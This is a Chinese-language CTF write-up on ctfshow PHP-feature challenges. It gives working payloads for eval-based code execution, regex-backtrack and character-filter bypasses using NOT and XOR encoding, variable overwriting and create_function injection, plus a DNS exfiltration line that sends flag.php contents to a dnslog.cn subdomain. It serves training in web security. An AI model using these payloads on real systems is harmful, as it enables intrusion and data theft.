ctfshow php特性

web 100 hao

在这里插入图片描述
所以我们只要让v1是is_numeric就可以了。
这题的预期解是利用PHP中的反射类ReflectionClass,因为已经提示了flag在ctfshow这个类里,payload如下:

?v1=1&v2=echo new ReflectionClass&v3=;

当然因为这题没有什么过滤,所以命令执行也是可以的:

?v1=1&v2=system("ls")/*&v3=*/;

web 101

修复了非预期解,用预期解即可

web110 hao

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

考察点:FilesystemIterator类的使用
在这里插入图片描述

payload:v1=FilesystemIterator&v2=getcwd

题目的话有个缺陷,如果flag所在的文件不是排在第一位的话,我们可能就没有办法得到flag。

在这里插入图片描述
补充一个类
SplFileObject 读取文件,按行读取,多行需要遍历
在这里插入图片描述
也可以读php文件

web115

web123

$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         
           
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

比较难的地方就是$_POST['CTF_SHOW.COM']的构造,想构造出.,需要前面带上[,后面用.就可以不变成_。当然也可以用脚本跑出来。
payload

CTF_SHOW=1&CTF[SHOW.COM=1&fun=extract($_POST)&fl0g=flag_give_me
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

web126

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

or
?$fl0g=flag_give_me;
CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])

web128

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}
考察点:gettext拓展的使用

在开启该拓展后 _() 等效于 gettext()

<?php
echo gettext("phpinfo");
结果  phpinfo

echo _("phpinfo");
结果 phpinfo

所以 call_user_func(’_’,‘phpinfo’) 返回的就是phpinfo

因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars

【*】get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

payload:f1=_&f2=get_defined_vars

web129

if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

我们也可以用php伪协议绕过

payload:f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

or
?f=php://filter/ctfshow/resource=flag.php
?f=/ctfshow/…/…/…/…/var/www/html/flag.php
filter伪协议支持多种编码方式,无效的就被忽略掉了。

web131

include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

考察点:利用正则最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。

import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
	'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web132

if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

因为||的优先级低于&&所以可以这样理解

if(($code === mt_rand(1,0x36D) && $password === $flag )||( $username ==="admin")){

所以满足username==="admin"就可以了。

web133 hao

从这道题真的发现了自己的一些问题,思维和意识还是太差了。

highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

法一 curl外带,后面有空再搞把。
法二 dns
利用工具:DNSLOG
利用ping的原理就是DNS请求:

如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,
就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,
那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,
这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。
(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,
让域名服务器进行域名解析就可实现)
?F=`$F` ;ping `awk '/flag/' flag.php`.oywkie.dnslog.cn

web134 hao

这个题让我对变量覆盖有了更深的理解吧。

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

先是这两个函数配合
parse_str($_SERVER[‘QUERY_STRING’]);
把GET传的,变成变量

然后extract($_POST);
POST变量覆盖;
payload:
?_POST[key1]=36d&_POST[key2]=36d

web135

get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行  `   `$F `;sleep 3  ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了
?F=`$F` ;ls;
无回显,应该是一道无回显的RCE题目了

我们可以写入文件

?F=`$F` ;ls>1;
?F=`$F` ;nl flag.php>1;

web136 hao

Linux的管道命令竖线(|)

用法: command 1 | command 2 他的功能是把第一个命令
command 1执行的结果作为command 2的输入传给command 2

使用指令"tee"将用户输入的数据同时保存到文件"file1"和"file2"中,输入如下命令:

$ tee file1 file2  

也可以搞一个文件。

这题主要问题就是ban了.和<>,因为ban了.,所以很难反弹shell,那些命令的ban并没有什么用,用’’,"",``都可以绕过。
又学习到了把命令执行的内容写入文件的一种新姿势:
ls /|tee 1
就可以把ls /执行的结果写入1这个文件中,剩下的就是正常的命令执行了。

web137

class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}
call_user_func($_POST['ctfshow']);

刚开始没反应过来,就一个回调函数。。。
payload:
ctfshow=ctfshow::getFlag

web138

跟web137差不多过滤了:

call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法

在这里插入图片描述
payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web140

if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0

而php中 0==‘字符串’

构造就可以了;

f1=current&f2=localeconv
md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd())     因为/var/www/html md5后开头的数字所以我们改用sha1

web141 hao

无数字字母rce
就是利用~取反

echo urlencode(~'system');
echo ~(urldecode('%8C%86%8C%8B%9A%92'));
得到
%8C%86%8C%8B%9A%92
system
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

return会中止当前字符串的执行。什么意思呢,看这两个例子:

eval("phpinfo();return 1;");
eval("return 1;phpinfo();")

第一句会执行phpinfo(),但是第二句不行,因为return后就中止了。
但是这样可以:eval(“return phpinfo();”)
因此v3肯定是命令执行,但是v1v2又怎么弄呢?PHP里面数字是可以和一些命令进行运算,例如1-phpinfo()-1,这样仍然可以执行phpinfo(),因此构造就很明显了。中单的v3用无数字字母rce就可以:

?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)-

web143 hao

用异或
因为有retrun,用 * ,^

v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1
?v1=1&v2=1&v3=^(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)^

web145

考察点:三目运算符的妙用
小测试

eval("return 1?phpinfo():1;");

这样是可以执行phpinfo()的
所以只需要在前面的payload上稍加改动就可以了
payload:

v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=1

取反和或都没ban:

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5)|

web147 hao

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 02:04:38

*/



highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

考察create_function(),

create_function('$a','echo $a."123"')

类似于

function f($a) {
  echo $a."123";
}

但是有个正则要绕过,
可以在函数名前加上命名空间
system =>\system
\是全局命名空间

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名
function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函
数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
?show=}system('cat flag.php');//
ctf=\create_function

用 } 闭合前面的{,用//或/*注释调后面 }

web148

error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

可以直接异或

预期解是使用中文 
?code=$哈="{{{"^"?<>/";${$哈}[](${$哈}[]);&=system&=tac f* "{{{"^"?<>/"; 
异或出来的结果是 _GET
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值